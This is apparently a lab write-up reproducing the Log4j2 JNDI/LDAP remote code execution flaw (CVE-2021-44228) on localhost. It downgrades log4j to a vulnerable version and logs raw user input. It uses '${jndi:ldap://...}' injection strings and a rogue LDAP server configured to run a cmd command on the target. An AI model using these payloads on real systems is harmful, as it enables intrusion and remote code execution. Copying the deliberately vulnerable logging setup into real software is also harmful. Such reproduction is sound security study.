
Teste de vulnerabilidade Log4j2 LDAP (CVE-2021-44228)
🎈 Testado em ambiente Spring Boot 2.x
pom.xml : Redução da versão do Log4j2 para a versão vulnerável
<properties>
<java.version>17</java.version>
<!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
<log4j2.version>2.14.1</log4j2.version>
</properties>
LoggingController : Adição de um método de controlador que recebe a entrada do usuário e a registra diretamente
@PostMapping("/form")
public String form(String ldapString, RedirectAttributes rttr) {
try {
LOGGER.info("{}", ldapString);
rttr.addFlashAttribute("exception", "예외 발생 X");
} catch (Exception e) {
rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
}
return "redirect:/";
}
Execução no navegador

Quando a string ${jndi:ldap://127.0.0.1:19090/run} é de fato enviada ao servidor, o servidor tenta se conectar a 127.0.0.1:19090.
2022-01-03 13:16:52.526 INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController : ${jndi:ldap://127.0.0.1:19090/run}
2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
...
Como não há um servidor LDAP em execução na porta local 19090, um log de erro é registrado com a exceção Connection refused: connect.
No código LOGGER.info("{}", ldapString);, nenhuma exceção de erro JNDI foi lançada.
A partir do código de https://github.com/veracode-research/rogue-jndi, investiguei apenas as partes relacionadas ao Tomcat e o estruturei como um projeto Spring Boot simples.
A razão de investigar apenas as partes relacionadas ao Tomcat foi...
Como o servidor de teste alvo é baseado no Tomcat embutido do Spring Boot, pareceu que bastaria investigar apenas o Tomcat para confirmar o funcionamento da vulnerabilidade, então procedi dessa forma.
Preparação do comando
Como executar apenas uma calculadora simples seria simples demais, combinei comandos do cmd.
ldapserver-config.properties
# 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
...
Ao tentar na prática, foi realmente possível executar remotamente o executável do servidor de teste alvo. O método de verificação é o seguinte:
Executar o servidor ldap-server e o traget-server
# LDAP 서버 실행
C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
# 테스트 타겟 서버 실행
C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
Enviar a string ${jndi:ldap://127.0.0.1:19090/o=tomcat} no servidor de teste alvo e verificar

O arquivo test.txt foi criado na raiz do projeto target-server e foi executado por meio do Bloco de Notas.
A geração do Payload a ser enviado ao Tomcat alvo usa o Nashorn, a implementação de JavaScript do Java, mas o Nashorn foi completamente removido a partir do Java 15. Por isso, houve o problema de o servidor LDAP enviar o comando ao Tomcat alvo, mas o comando não ser executado.
Nesse caso.. bastava adicionar apenas um dos dois, nashorn-core ou rhino-engine, como biblioteca ao servidor Tomcat alvo.
<dependency>
<groupId>org.openjdk.nashorn</groupId>
<artifactId>nashorn-core</artifactId>
<version>${nashorn.version}</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino-engine</artifactId>
<version>${rhino-engine.version}</version>
</dependency>
Para facilitar o gerenciamento de versões, modifiquei o pom.xml para uma relação pai-filho; ele pode ser executado no diretório onde está o POM pai, da seguinte forma:
# 전체 테스트
$ mvnw clean test
# 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐아한다.
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server
# 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
$ cd target-server
$ mvnw clean spring-boot:run
Este software é fornecido somente para fins educacionais e/ou para teste em sistemas cujo ataque foi previamente autorizado pelo usuário.
(Também a adicionei porque ele incluiu esta frase no rogue-jndi. 😓)